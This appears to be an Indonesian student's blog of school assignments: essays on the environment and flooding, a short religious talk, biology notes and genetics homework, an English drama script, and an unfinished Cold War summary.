Dalam diri setiap bangsa Indonesia harus tertanam nilai cinta terhadap sesama manusia sebagai cerminan rasa kemanusiaan dan keadilan. Nilai-nilai tersebut di antaranya adalah mengakui dan memperlakukan manusia sesuai dengan harkat dan martabatnya, mengembangkan sikap tenggang rasa dan nilai-nilai kemanusiaan. Sebagai sesama anggota masyarakat, kita harus mengembangkan sikap tolong-menolong dan saling mencintai. Dengan demikian, kehidupan bermasyarakat dipenuhi oleh suasana kemanusian dan saling mencintai.

Kita semua mengetahui bahawa kondisi lingkungan Kota Jakarta sudah sangat memprihatinkan. Banyak sekali sungai yang kotor akibat pembuangan limbah yang tidak teratur serta pencemaran udara akibat asap kendaraan bermotor yang semakin banyak. Ini semua dapat menyebabkan gangguan bagi makhluk hidup di Kota Jakarta, temasuk manusia. Pernapasan kita dapat terganggu dan keindahan Kota Jakarta tercemar. Oleh karena itu, alangkah baiknya jika kita sebagai penduduk Kota Jakarta berusaha untuk melestarikan lingkungan kota ini dengan berbagai macam usaha. Di antaranya adalah dengan penghijauan, pembuatan taman kota, dan pelarangan membuang sampah di sembarang tempat. Ini semua dapat mengendalikan keindahan Kota Jakarta.

Dalam diri setiap bangsa Indonesia harus tertanam nilai cinta terhadap sesama manusia sebagai cerminan rasa kemanusiaan dan keadilan. Nilai-nilai tersebut di antaranya adalah mengakui dan memperlakukan manusia sesuai dengan harkat dan martabatnya, mengembangkan sikap tenggang rasa dan nilai-nilai kemanusiaan. Sebagai sesama anggota masyarakat, kita harus mengembangkan sikap tolong-menolong dan saling mencintai. Dengan demikian, kehidupan bermasyarakat dipenuhi oleh suasana kemanusian dan saling mencintai.

BANJIR

Pada awal tahun 2009 bencanabanjir telah merebak ke wilayah-wilayah yah ada di Indonesia. Banyah masyarakat yang menjadi korban banjir. Hai itu tidak lepas dari ulah manusia itu sendiri. Mulai dari menebang pohon secara liar, penambangan batu bara yang tidak sesuai dengan prosedur, sampai membuang sampah sembarangan. Memang membuang sampah sembarangan dianggap hal yang biasa, Padahal akibat yang ditimbulkan dari membuang sampah sembarangan yang sedikit demi sedikit itu dilakukan akan berdampak buruk pada kehidupan makhluk hidup khususnya di Indonesia.
Banjir yang tengah melanda Indonesia sering memakan korban jiwa yang tidak sedikit. Oleh karena itu agar kejadian itu tidak terulang terus menerus, kita sebagai manusia yang hidup di muka bumi dan telah diberikan kekayaan alam yang melimpah seharusnya berterima kasih dengan menjaga ataupun melestarikannya.
Mulai dari sekarang kita harus membenahi lingkungan kita, mulai mencegah banjir dengan hal yang terkecil misalnya, membuang sampah pada tempatnya. Walaupun cara itu terkesan tidak membantu sama sekali tetapi dengan cara itu pula kita dapat mengurangi korban jiwa yang disebabkan pleh banjir.

Kultim (Penyejuk Jiwa)

2011-03-05T21:31:00.002+07:00

KULTIM (KULIAH TIGA MENIT)

Nama : Faizal Satya P.

Kelas : XII IPA 3

Absen : 16

TEMA: HUBUNGAN HUKUM FISIKA DENGAN TARAF KEIMANAN KITA

ASSALAMU’ALAIKUM WR.WB.

Dewasa ini banyak sekali para pemuda/pemudi yang mengalami transisi jati diri, tetapi hal ini tidak dipengaruhi oleh kondisi lingkungan modern yang tak jarang menjadikan para remaja mengalami ‘degredasi iman’. Sudah seharusnya kita meningkatkan taraf keimanan (hf) dengan cara menambah kuantitas antara taraf maksimal kesabaran kita(Ekmaks) dengan amaljariyah kita (W0) seperti yang dituangkan dalam rumus energi foton yakni: hf = Ekmaks + W0. Sehingga terciptalah pondasi keimanan yang kuat hfawal =hf akhir. Tetapi pelaksanaannya bukan tanpa rintangan karena semakin panjang rintangan atau cobaan (R) yang harus diimbangi dengan ke ikhlasan (I) maka akan tercipta tegangan keimanan yang semakin besar pula (V) seperti yang ada pada hukum tegangan listrik V = I . R. Jadi taraf kesempurnaan keimanan kita (W) akan semakin sempurna dengan mengkombinasikan tegangan keimanan (V) dengan kualitas ke ikhlasan kita (I) juga seberapa lama kita melaksanakan amalan tersebut (t) dan terbentuk suatu rumus W = V . I . t

Maka seyogyanya mari kita sebagai generasi penerus yang baik selain meningkatkan taraf IQ juga di imbangi dengan taraf keimanan kita. Karena dalam hadist Rasullullah di sebutkan bahwa,”seberuntung-beruntungnya kaum muslimin adalah muslim yang lebih baik perilakunya dari kemarin, dan sungguh merugi seorang muslim jika perilakunya konstan(tetap) atau bahkan lebih buruk dari kemarin”. Dalam Al-Qur’an juga disebutkan bahwa orang-orang yang merugi hádala orang yang tak bisa memanfaatkan barokah waktu dengan seefisien/sebaik mungkin. Seperti yang di sebutkan dalam Q.S. Al- Asr: 1-3

Faktor yang memperngaruhi Pertumbuhan pada Tanaman

2011-03-05T21:23:00.001+07:00

Faktor yang mempengaruhi pertumbuhan dan perkembangan

Filed Under: Umum

Faktor Eksternal adalah Faktor yang berasal dari luar tumbuhan itu sendiri.

Faktor Ekternal terdiri dari :
1. Cahaya
Cahaya yang diperlukan meliputi Intensitas cahaya, kualitas dan lama waktu dalam penyinaran. cahaya yang digunakan tumbuhan untuk berfotosintesis adalah cahaya matahari. Secara umum merupakan faktor penghambat. Etiolasi adalah pertumbuhan yang sangat cepat di tempat yang gelap
Fotoperiodisme adalah respon tumbuhan terhadap intensitas cahaya dan panjang penyinaran.
2. Nutrisi
Semua makhluk hidup membutuhkan nutrisi untuk bertahan hidup. Oleh makhluk hidup, nutrisi diubah menjadi energi yang diperlukan tubuh. Tumbuhan yang kekurangan Nutrisi akan mengakibatkan Kelainan pada saat pertumbuhannya.
3. Suhu
Suhu sangat berpengaruh pada perkembangan dan pertumbuhan tumbuhan karena suhu sangat berkaitan dengan kemampuan tumbuhan dalam melakukan proses biologisnya. Suhu yang rendah atau tinggi dapat menyebabkan Enzim yang tidak dapat bekerja dengan baik, padahal enzim dalam tumbuhan berfungsi untuk mengedarkan cadangan makanan ke seluruh bagian tumbuhan. Suhu ideal yang diperlukan untuk pertumbuhan yang paling baik adalah suhu optimum, yang berbeda untuk tiap jenis tumbuhan.
4.Oksigen
Oksigen memang sangat dibutuhkan oleh semua makhluk hidup. Tidak hanya manusia bahkan tumbuhanpun sangat membutuhkan Oksigen agar bertahan hidup. tanah yang baik untuk pertumbuhan dan perkembangan tumbuhan adalah tanah gembur yang banyak mengandung oksigen.
5.Air dan Mineral
berpengaruh pada pertumbuhan tajuk 2 akar. Diferensiasi salah satu unsur hara atau lebih akan menghambat atau menyebabkan pertumbuhan tak normal. Bila kekurangan dan kelebihan air pada saat pertumbuhan dan perkembangan pada tumbuhan, tumbuhan akan dapat mnyebabkan kelainan pada tumbuhannya itu sendiri

6. Musim
Tumbuhan yang berbunga atau berbuah hanya dapat tumbuh pada musim tertentu. Pergantian Musim dapat mempengaruhi Dormansi pada biji dan tunas. Musim juga mempengaruhi dala hal reproduksi, fotoperiodisme dan pengguguran daun.

Sedangkan Faktor Internal nya adalah Gen dan kondisi fisik dari tumbuhan tersebut seperti, keadaan akar, daun, batang dsb.

Contoh Tugas Persilangan Gen

2011-03-05T21:21:00.001+07:00

TUGAS BIOLOGI

Soal 1:

Marmot punya alel ganda. Warna bulu marmot dengan gen (M) mempunyai beberapa alel berturut-turut dengan skema sebagai berikut:

M > M^P> M ^h> m

Gen M : Fenotip coklat.

Gen M ^p : Fenotip coklat-putih.

Gen M ^h : Fenotip coklat-hitam.

Gen m : Fenotip coklat-putih-hitam.

Keterangan :

§ Marmot Coklat (M) mendominasi ( Marmot Coklat-Putih, marmot Coklat-Hitam dan marmot Coklat-Putih-Hitam)

§ Marmot Coklat-Putih mendominasi ( Marmot Coklat-Hitam dan marmot Coklat-Putih-Hitam)

§ Marmot Coklat-Hitam mendominasi marmot Coklat-Putih-Hitam.

§ Marmot Coklat-Putih-Hitam resesif

Tabel :

Fenotipe	Kemungkinan Genotipe
Coklat (Normal)	MM, MM ^P, MM ^h, Mm
Coklat-Putih	M ^P M ^P, M ^P M ^h, M ^p m
Coklat-Hitam	M ^h M ^h, M ^h m
Coklat-Putih-Hitam	mm

Jika marmot coklat-putih heterozigot disilangkan dengan marmot coklat-hitam heterozigot juga maka akan memperoleh keturunan marmot coklat-putih-hitam sebanyak?

P₁ : M^Pm >< M^hm

Gamet : M^P M^h

M m

F₁ : M ^p M ^h : Coklat-Putih

M^Pm : Coklat-Putih

M^hm : Coklat-Hitam

mm : Coklat-Hitam-Putih

Jadi, perbandingan F₁ nya sebagai berikut:

Coklat-Putih : Coklat-Hitam : Coklat-Putih-Hitam

2 : 1 : 1

Dengan hanya menghasilkan 1 jenis marmot dengan fenotip warna bulu Coklat-Putih-Hitam.

Soal 2:

Ikan koi slayer mempunyai bentuk ekor berbeda-beda yakni sebagai berikut:

· Bentuk ekor kipas, dengan genotip = ssT_

· Bentuk ekor selimut, dengan genotip = S_tt

· Bentuk ekor bergelombang, dengan genotip = S_T_

· Bentuk ekor membelah, dengan genotip = sstt

Jika peternak ingin menyilangkan ikan koi slayer dengan bentuk ekor kipas dengan koi bentuk ekor selimut, menghasilkan F₁ tipe ikan koi berekor gelombang. Maka, cari dan tentukan perbandingan F₂ nya?

P₁ : SStt >< ssTT

(Selimut) (Kipas)

Gamet : St >< sT

F₁ : SsTt

(Gelombang)

Apabila terjadi persilangan antara F₁X F₁

P₂ : SsTt >< SsTt

Gamet : ST, St, sT, st ST, St, sT, st

F₂ :

Tabel:

F	ST	St	sT	st
ST	SSTT	SSTt	SsTT	SsTt
St	SSTt	SStt	SsTt	Sstt
sT	SsTT	SsTt	ssTT	ssTt
St	SsTt	Sstt	ssTt	sstt

Berdasarkan tabel di atas, maka perbandingan F₂ nya adalah sebagai berikut:

Gelombang : Selimut : Kipas : Belah

9 : 3 : 3 : 1

Nama : Faizal Satya P.

Kelas : XII IPA 3

Absen : 16

Kepunahan dan Evolusi

2011-03-05T21:19:00.001+07:00

C. Evolusi dan Keanekaragaman Makhluk Hidup

1. Mekanisme Evolusi

Evolusi adalah suatu proses di mana ciri sebuah spesies berubah dalam kurun waktu lama, yang akhirnya sampai kepada pembentukkan sebuah spesies baru. Evolusi menyatakan bahwa tubuh individu sebuah populasi berubah secara struktural dan menujukan kepada kita bagaimana tumbuhan dan hewan modern (yang saat ini masih hidup) berevolusi sejak dari nenek moyangnya yang primitif secara bertahap, jutaan tahun sejak pemunculan awalnya. Jadi, evolusi menjelaskan mengapa terdapat banyak organisme dengan tipe-tipe berbeda di muka bumi, mengapa setiap spesies harus dapat beradaptasi dengan baik di habitatnya jika ingin tetap survive dan mengapa sebuah spesies berbagi ciri dasar dengan kerabat jauhnya dan memiliki ciri khusus yang membedakannya dari spesies-spesies lainnya.

Darwin, seorang penyelidik alam berkebangsaan Inggris, menyadari bahwa faktor-faktor lingkungan dapat mempengaruhi kelangsungan hidup individu dalam suatu populasi. Sebagai contoh adalah struktur paruh burung. Jika di suatu wilayah terdapat tumbuhan berbiji keras seperti gandum, jagung, padi dan sebagainya, maka burung burung berparuh sesuai untuk memecah biji-bijian akan memperoleh keuntungan dan kelangsungan hidupnya lebih lama daripada burung yang berparuh tidak sesuai. Burung yang berparuh tidak sesuai ini akan mati, atau setidaknya ia tidak akan mencapai umur reproduktif, sehingga keturunan dari burung yang berparuh sesuailah yang akan merajai wilayah tersebut. Bentuk paruh ini merupakan ciri khas yang ditemukan dalam populasi yang secara alamiah diturunkan. Inilah yang disebut sebagai hasil dari adaptasi struktur tubuh terhadap faktor lingkungan.

Karena adaptasi ini, maka jumlah anggota pupulasi yang berparuh sesuai akan meningkat bahkan akan melebihi jumlah anggota populasi yang berparuh tidak sesuai, sehingga sifat dasar populasi burung tersebut secara perlahan akan berubah. Jadi, burung yang adaptif akan dapat meneruskan kehidupannya dan bertambah jumlahnya dibandingkan dengan burung-burung yang tidak adaptif. Hal ini yang disebut oleh Darwin sebagai seleksi ilmiah (natural selection). Ia menyatakan bahwa evolusi terjadi sebagai hasil dari seleksi ilmiah. Evolusi dengan cara seleksi alamiah ini adalah proses perubahan dalam jangka waktu lama yang dialami oleh sebuah populasi berupa perkembangan struktur tubuh melalui modifikasi sifat-sifat dasar.

Pemikiran Darwin tentang evolusi organisme adalah sebagai berikut :

a. Organisme purba dan organisme modern berkerabat satu sama lain.

b. Faktor-faktor lingkungan memegang peranan penting dalam perkembangan keanekaragaman tumbuhan dan hewan.

c. Anggota populasi dari spesies yang sama akan menunjukkan perubahan struktur tubuh yang sedikit berbeda setelah terisolasi secara geografis.

d. Organisme yang hidup di pulau menunjukkan kesamaan struktur dengan organisme yang hidup di daratan dekat pulau tersebut.

Ternyata apa yang dipikirkan Darwin tersebut kelak akan terbukti melalui penelitian ilmu genetika.

Pada abad ke 20 – sejalan dengan mulai dimengertinya prinsip-prinsip ilmu genetika dengan lebih baik – para ilmuwan biologi menemukan mekanisme lain selain seleksi alamiah, yang menyebabkan organisme berubah dari generasi ke generasi. Sebuah spesies organisme diyakini memiliki informasi genetik tertentu. Perubahan informasi genetik ini seperti aliran gen (gen flow) dan penyimpangan genetik (genetic drift) akan menyebabkan perubahan populasi, yang memicu kepada terjadinya spesiasi (speciation). Spesiasi adalah proses di mana spesies baru dibentuk. Spesisasi terjadi jika populasi terbelah menjadi populasi-populasi yang secara genetik dipisahkan satu sama lain, tetapi Darwin dalam bukunya yang terkenal ‘On the Origin of Species” hanya mendiskusikan bagaimana populasi berubah karena pengaruh seleksi alamiah. Menurut dia, spesiasi adalah suatu akumulasi perubahan secara bertahap (gradual) dalam kurun waktu lama sampai sebuah kelompok organisme cukup nyata dianggap sebagai spesies baru. Proses pembentukkan spesies baru seperti ini dikenal sebagai spesiasi filetik (phyletic speciation). Menurut ilmuwan genetika, perubahan komposisi genetik terjadi pada gen yang terdapat pada anggota sebuah populasi. Perubahan ini diturunkan ke generasi berikutnya ketika berlengsungnya proses reproduksi. Perubahan genetik pada populasi ini menyebabkan perubahan evolusioner. Di sinilah letak kunci utama mengapa proses evolusi menjadi penyebab terjadinya keanekaragaman organisme yang ada di muka bumi sekarang ini.

Selain spesiasi filetik, juga dikenal spesiasi alopatrik (allopatric speciation), spesiasi parapatrik (parapatric speciation) dan spesiasi simpatrik (sympatric speciation). Spesiasi alopatrik terjadi karena adanya penghalang fisik seperti sungai, gunung, letak geografis dan sebagainya. Penghalang ini memisahkan sebuah populasi dari populasi induknya, yang berarti memotong aliran gen antar kedua pupulasi tersebut. Setelah terisolasi mereka membentuk sejumlah perbedaan genetik, termasuk penghalang reproduksi yang membedakannya dari populasi induknya. Contoh dari spesiasi alopatrik ini adalah hasil evolusi dari populasi burung kutilang (finches) di Kepulauan Galapagos yang terpisah dari populasi induknya di Benua Amerika bagian selatan. Spesiasi parapatrik terjadi pada populasi-populasi yang letaknya berdekatan. Kelompok gen mereka menjadi terpisah oleh adanya variasi lingkungan. Sebagai contoh adalah rumput yang tumbuh di lingkungan toksik akan mengembangkan toleransi terhadap logam berat, yang tidak dipunyai oleh rumput di sebelahnya yang tidak terpolusi. Karena perbedaan kepekaan terhadap logam berat tersebut, dua populasi rumput ini akan mengembangkan mekanisme yang berbeda dalam masa pembungaannya sehingga menghasilkan isolasi reproduksi. Kasus yang menarik dari spesiasi simpatrik terjadi pada tumbuhan sebagai hasil dari poliploidi. Poliploidi adalah pertumbuhan jumlah set/pasangan kromosom dalam setiap sel tubuh tanaman tersebut. Pemunculan tertraploid (4N) dari induk yang diploid (2N) tidak biasa terjadi. Sekali terbentuk, maka tumbuhan tetraploid tidak akan melakukan persilangan dengan anggota populasi yang diploid karena ketidak-cocokan jumlah kromosom. Akibatnya tumbuhan tetraploid hanya dapat menyerbuki anggota populasi yang tetraploid juga, atau melakukan penyerbukan sendiri atau dengan reproduksi aseksual, yang kemudian keturunanannya saling bersilang. Inilah yang nantinya juga akan menjadi awal spesiasi. Poliploid menjadi sangat penting dalam evolusi dan spesiasi tumbuhan. Lebih dari 40% spesies tumbuhan berbunga yang hidup sekarang ini adalah diploid.

Dengan terjadinya spesiasi, maka akan dijumpai adanya keanekaragaman organisme. Untuk mempelajari dan mengenal organisme yang beranekaragam ini, manusia melakukan klasifikasi.

2. Keanekaragaman dan Klasifikasi Organisme

Langkah pertama ke arah evolusi kehidupan adalah sintesis molekul organik, dimulai dari molekul organik bebas menjadi molekul organik kompleks (evolusi biokimiawi) dan lama kelamaan molekul organik komplek ini menjadi sebuah sel pertama. Para saintis berspekulasi bahwa organisme/sel pertama memakan materi organik dari lingkungannya. Karena materi organik terbatas, sistem pigmen dari organisme tersebut berevolusi menjadi organ penangkap energi dari cahaya matahari yang nantinya energi tersebut disimpan sebagai ikatan kimiawi. Dengan demikian, muncullah bakteri penghasil oksigen sehingga pada era Poterozoic ini atmosfer bumi berisi gas oksigen yang stabil. Era Proterozoic ini berkisar antara 2,5 milyar dan 544 juta tahun yang lalu.

Evolusi organisme berlanjut dari sebuah sel sederhana tanpa inti sel yang jelas (prokaryota) menjadi organisme sel berinti jelas (eukaryota). Menurut para ahli paleontologi (ahli fosil), berdasarkan catatan fosil, eukaryota pertama berukuran lebih besar dan lebih kompleks daripada prokaryota. Perkembangan organisme di era Palezoic (544 – 250 juta tahun yang lalu) menjadi lebih jelas. Di lapisan bumi pada era ini banyak banyak ditemukan fosil organisme multiseluler, sekitar 250 ribu jenis fosil telah diidentifikasi, dideskripsi, dan diberi nama. Era Paleozoic ini terdiri dari beberapa periode masa, dimana setiap periode masa memunculkan kelompok-kelompok organisme tertentu yang khas atau bahkan beberapa kelompok organisme lainnya menghilang/punah.

Pada periode Kambrium, mimi purba Trilobita yang kini sudah punah mulai muncul, dan hewan mirip dengan ikan seperti lenselet dan lemprey sebagai hasil evolusi dari cacing pipih hadir kemudian pada periode Ordovisi. Ikan pertama seperti Agnatha dan ikan bertulang rawan Chondricthyes muncul pada periode Silur. Pada periode ini pula tumbuhan mulai menduduki daratan. Zaman keemasan ikan adalah pada periode devon, dimana amfibi pertama dan serangga pertama juga hadir. Periode karbon, periode masa paku-pakuan, tumbuhan berbiji dan fungi. Para sintis berpendapat bahwa keberhasilan hidup fungi sebagai organisme perombak (dekomposer) juga disebabkan oleh adanya kitin pada dinding selnya. Kitin menjadikan sel tubuh fungi resisten terhadap kekeringan. Pada periode Perm, terjadi kepunahan massal sehingga banyak spesies hilang. Pada periode ini pula tumbuhan seperti pinus, cemara dan sejenisnya mulai muncul di muka bumi.

Era Mesozoikum (250 – 65 juta tahun yang lalu) adalah zaman keemasan reptil. Dinosaurus berukuran kecil dan mamalia pertama mulai hadir pada periode Trias, sedangkan dinosaurus berukuran besar mendominasi bumi pada periode Jura. Bersamaan dengan dinosaurus besar ini, burung pertama (Archeopteryx) juga muncul. Periode Kreta ditandai dengan munculnya tumbuhan berbunga (Angiospermae) dan terjadi penyebaran serangga. Kesuksesan serangga di sini disebabkan oleh berhasilnya koevolusi serangga dengan tumbuhan berbunga sebagai penyedia makanannya. Dalam era ini, reptil (hasil evolusi amfibi) menjadi dominan, dan kemudian reptil ini berevolusi ke mamalia (200 juta tahun yang lalu) dan burung (150 juta tahun yang lalu). Akhir dari era Mesozoikum ini ditandai oleh kepunahan besar-besaran sejumlah spesies, teramsuk dinosaurus, beberapa organisme laut seperti plankton, bivalvia, dan gurita bercangkang. Perubahan evolusioner terus berlangsung pada akhir era ini.

Zaman keemasan mamalia terajadi pada era Senozoikum (65 juta tahun yang lalu sampai sekarang0. Era ini terdiri dari periode Tersier dan periode Kuartener. Berbagai jenis mamalia berkembang dengan baik seperti anjing, kucing, kuda, ikan paus, bajing, kelinci, kelelawar dan primata. Manusia purba, leluhur manusia, berasal dari primata yang hidup di pepohonan. Primata pertama muncul pada 75 juta tahun yang lalu (menjelang akhir era Mesozoikom). Hewan primata ini hidup di atas tanah, makan tumbuhan dan serangga. Dalam pohon silsilah, hewan antropoid ini terbagi menjadi tiga golongan, yaitu monyet dunia lama dengan contoh Macaca dan Babun, monyet dunia baru dengan contoh Tarsius dan kera dengan contoh Gibon, Orangutan, Gorila, Simpanse dan Manusia.

Jelaslah bahwa keanekaagaman organisme disebabkan oleh evolusi biokimiawi dan evolusi struktur tubuh organisme. Proses evolusi terjadi karena perubahan lingkungan abiotik/habitat, tempat organisme tersebut melakukan aktivitasnya. Hasil dari proses evolusi organisme dari tahap ke tahap atau dari era ke era memberikan gambaran khas suatu kelompok organisme, dan kekhasan inilah yang digunakan para saintis untuk mengelompokkan/klasifikasi organisme. Usaha pengelompkkan/klasifikasi organisme dipandang perlu mengingat bahwa keanekaragaman organisme makin lama makin banyak. Saat ini di dunia terdapat lebih dari 5 juta spesies organisme, dan yang telah dideskripsi dan diberi nama adalah sekitar 2 juta jenis.

Pengeleompkkan dan pengklasifikasian organisme oleh para ilmuwan didasarkan terutama pada karakter morfologi dan keprimitifan kelompok organisme sehingga klasifikasi organisme menjadi cerminan perjalanan evolusinya. Saat ini dikenal ada 5 kelompok (kingdom) organisme dan berdasarkan keprimitifan sel tubuhnya kingdom Monera yang berisi organisme prokaryota menjadi kelompok awal, kemudian diikuti oleh organisme eukaryota. Protista, kelompok eukaryota uniseluler, menjadi kingdom tersendiri karena berbeda dengan organisme multiseluler dalam jumlah sel dalam hal jumlah sel tubuhnya. Sebagian dari anggota-anggota kingdom Protista bersifat hewan (Protozoa) dan sebagian lagi bersifat tumbuhan (Protophyta). Protophyta inilah yang merupakan anggota dari tumbuhan algae (ganggang), di samping algae multiseluler yang semua anggotanya dimasukkan ke dalam kingdom Plantae. Organisme multiseluler jamur dan cendawan (Fungi) dipisahkan dari kelompok tumbuhan karena ketiadaan butir-butir kloroplas pada sitoplasma sel tubuhnya. Seperti diketahui, kloroplas menjadi ciri khas orgsnisme tumbuhan. Hewan, organisme multiseluler yang tergolong kepada kingdom Animalia, dipisahkan dari organisme multiseluler tumbuhan oleh tiadanya kloroplas pada sel tubuhnya.

Kepunahan

Kepunahan dalam biologi berarti hilangnya keberadaan dari sebuah spesies atau sekelompok takson. Waktu kepunahan sebuah spesies ditandai dengan matinya individu terakhir spesies tersebut, walaupun kemampuan untuk berkembang biak tidak ada lagi sebelumnya. Tetapi dikarenakan wilayah sebaran sebuah spesies atau takson yang bisa sangat luas, sehingga sangat sulit untuk menentukan waktu kepunahan. Kesulitan ini dapat berujung kepada suatu fenomena yang dinamakan takson Lazarus, dimana sebuah spesies dianggap telah punah tetapi muncul kembali.

Melalui proses evolusi, spesies yang baru muncul dari suatu mekanisme spesiasi (dalam bahasa Inggris: speciation) dimana jenis makhluk hidup baru muncul dan berkembang biak secara lancar bila mereka mempunyai ecology niche. Spesies akan punah bila mereka tidak bisa bertahan bila ada perubahan di ekologi mereka ataupun bila persaingan semakin ketat dari makhluk hidup lain yang lebih kuat. Umumnya, suatu spesies akn punah dalam waktu 10 juta tahun,dihitung dari permulaan kemunculannya. Beberapa spesies, biasanya juda disebut fosil hidup telah bertahan dan tidak banyak berubah selamaratusan juta tahun. Salah satu contoh fosil hidup adalah buaya.

Sebelum manusia memenuhi muka bumi, laju kepunahan makhluk hidup cukup rendah, walaupun beberapa kepunahan massal telah terjadi sebelum itu. Sejak kira-kira 100.000 tahun yang lalu, seiring dengan laju populasi manusia yang semakin tinggi, laju kepunahan makhluk hidup menjadi sangat cepat, jauh lebih cepat dari kepunahan Cretaceous-Tertiary, yang terjadi sekitar 65.5 juta tahun yang lalu. Kepunahan ini dinamakan kepunahan Holocene, salah satu dari enam jenis kepunahan yang sudah diidentifikasikan sampai saat ini.

Suatu spesies dinamakan punah bila anggota terkahir dari spesies ini mati. Kepunahan terjadi bila tidak ada lagi makhluk hidup dari spesies tersebut yang dapat berkembang biak dan membentuk generasi. Suatu spesies juga disebut fungsional punah bila beberapa anggotanya masih hidup tetapi tidak mampu berkembang biak, misalnya karena sudah tua, atau hanya ada satu jenis kelamin.

Di dalam ilmu ekologi, istilah kepunahan dipakai untuk kepunahan disuatu studi area. Namun demikian, sepsies ini masih bisa ditemukan di tempat lain. Fenomena ini disebut juga ekstirpasi. Contohnya adalah penempatan serigala dari tempat lain di Taman Nasional Yellowstone, di Idaho, Amerika Serikat, dimana sebelumnya serigala sudah punah ditempat itu.

Salah satu aspek penting di tema kepunahan binatang ialah usaha manusia untuk mengembangkan spesies yang terancam punah ("endangered species") dengan membuat katagori Conservasi Status. Katagori ini memberikan indikasi dari risiko kepunahan suatu spesies. Salah satu katagori membagi jenis ancaman kepunahan sebagai berikut (1) kritikal terancam, (2) terancam , dan (3) rawan.

Conversation to Give Spirit

2011-03-05T21:18:00.001+07:00

Text Drama!

This day is the worst day to Faizal, the boy who have broken heart because his targeted girl was reject him yesterday. Today, in the class he didn’t have spirit. He seemed very down. No one can attract his attention. And he can’t concentrated with the lesson today,,, The lesson was stop because of the rest time come.. the bell rang….. teeeeeeeeettttt,,,,,,,

Faizal : *Sign…..* I don’t believe it!

Why I have get rejected from her….. What The Hell! I can’t stand it!

Ilham : Hmm……. What’s up boy..? what’s the matter? You look feeling blue?

Faizal : Ooh Ilham… let I tell you my problem.. you know,.. I was broken heart right now

I get rejected by her, the girl who became my target which I tell you two days

ago..

Ilham : Cihh!!... of course she reject you. I’m not shocked, friend… why? Because you’re

so sullen, You never change your style since 1^st grade. Who liked some oldy and

nerd face like you?

Faizal : Are you mean that I’m not good for hr because all of my style?

Ilham : Exactly… that’s perfectly right….. look at you!…your hair, your face, your style…

soo.... Uncoool… maybe you look rather well if you make over yourself…well just

a bit..

Faizal : Stop to talk with your provoke mouth!!

Faizal started to angry. He feel anger now. Suddenly Bukin come from beside class, he is Faizal and Ilham classmate in last year, he come to make condition be normal again.

Bukin : What’s up boy?….that’s so noisy…your voice is very annoying and deafening for

my ears..

Ilham : Your friends got rejected from his ‘lovely’ girl bro… so I give him a little

advice.. Isn’t me still not good? he should say thanks to me for all of my advice,

but in fact he angry to me…

Then Muhajar come from back classroom to in front of the classroom….

Muhajar: In my opinion… our way is wrong, my pal…. Is that anykind of advice? I think

you just mocking him within twelve minutes than give some valuable advice?

Ilham : Did you know it?

Muhajar: Yes I know it… I’ve got ear so I can hear it from the door… what a pity on you,

faizal…

Ilham : What a eavesdropper on you Muhajar!!

Bukin : Is that true, my pal??

Ilham : But.. I……

Muhajar:Yes I know you want to cheering up faizal, but the way which you doing was

wrong..

Bukin : By the way, faizal, what is your problem? You never tell me about your problem.

Share with us…. Maybe we can discuss it together and found the way to solve

your problem… Don’t be a covered personal… we are your friends!!

Faizal : I’m sorry friends.. ok I’ll tell it… the subject matter is I was rejected by ‘her’..

the girl who be my target in long time ago.

Bukin : Ooowh.. I see… so now you’ve got broken heart?

Faizal : Hell yeahh…

Muhajar:Why don’t you just try to forget her?? I think that’s an easier way… it’s easy

bro..

Faizal : But……

Bukin : Just right! In my opinion you must strong and live more freely like an usual

day. Broken heart is sad experienced. But it can’t helped you if you think it

continuously. Many girl in the world who more better than her. So get your

spirit again. Ok??

Faizal : Uummmhh… I think your statement is exactly right bukin…. Why I’m so in

depressed right now?? My study is more better than just think about my

broken heart..

Muhajar:Yeaah.. that’s the gentleman!

Ok, Let’s go to the canteen because rest time is up!! Hurry up buddy!!

All : Ok…….. lets get it down…

Then they went to the canteen. In the way they continuing their conversation….

Ilham : Ehhmm, zal.. I’m sorry for back then..

Faizal : Ok…no problem broo…. *Shake hand*

Muhajar:Nah.. it’s okay… but you must treat us with a bowl of bakso..ookk bro?

Faizal : Or maybe fried rice?.

Bukin : Better Soto?

Ilham : Nope…. I don’t want to..

All : *Laugh together* Hahahahahahahha

Group member names:

Faizal Satya P. (16)

Ilham Eka F. (22)

Masbukin N. M. (24)

Muhadjar E. (26)

COLD WAR

2011-03-05T21:13:00.003+07:00

Perang Dingin adalah perang dalam bentuk ketegangan sebagai perwujudan dari konflik-konflik kepentingan dan perebutan supremasi serta perbedaan ideologi antara blok barat yang dipimpin oleh Amerika Serikat dan Blok Timur yang dipimpin oleh Uni Soviet. Sehingga Perang Dingin merupakan pertikaian antara kedua blok tersebut.

A. LATAR BELAKANG

Latar Belakang terjadinya perang dingin adalah sebagai berikut.

1. Munculnya Amerika Serikat sebagai negara pemenang perang di pihak Sekutu (Inggris, Perancis, dan AS). AS berperan besar dalam membantu negara-negara Eropa Barat untuk memperbaiki kehidupan perekonomiannya.

2. Munculnya Rusia (Uni Soviet) sebagai negara besar dan berperan membebaskan Eropa bagian Timur dari tangan Jerman dan membangun perekonomian negara-negara di Eropa Timur. Uni Soviet meluaskan pengaruhnya dengan mensponsori terjadinya perebutan kekuasaan di berbagai negara Eropa Timur seperti Bulgaria, Albania, Hongaria, Rumania, Polandia, dan Cekoslowakia sehingga negara-negara tersebut masuk dalam pemerintahan komunis Uni Soviet.

3. Munculnya negara-negara yang baru merdeka setelah Perang Dunia II di luar wilayah Eropa. Dampaknya muncul 2 kelompok negara di dunia yaitu negara-negara maju dengan negara-negara berkembang, yang memberikan pengaruh bagi perkembangan politik dan ekonomi dunia.

Faktor-faktor utama yang menyebabkan Perang Dingin :

1. Perbedaan Paham

Amerika Serikat dan Uni Soviet sebagai pemenang Perang Dunia II memiliki paham/ ideologi yang berbeda Amerika Serikat memiliki ideologi liberal-kapitalis sedangkan Uni Soviet berideologi komunis. Paham Liberal-Kapitalis (AS) yang mengagungkan kebebasan individu yang memungkinkan kapitalisme berkembang dengan subur bertentangan dengan paham Sosialis-Komunis (US) yang berkeyakinan bahwa paham itu dapat lebih mempercepat kesejahteraan buruh maupun rakyatnya karena negara-negara yang mengendalikan perusahaan akan memanfaatkan keuntungannya untuk rakyat.

2. Keinginan untuk Berkuasa

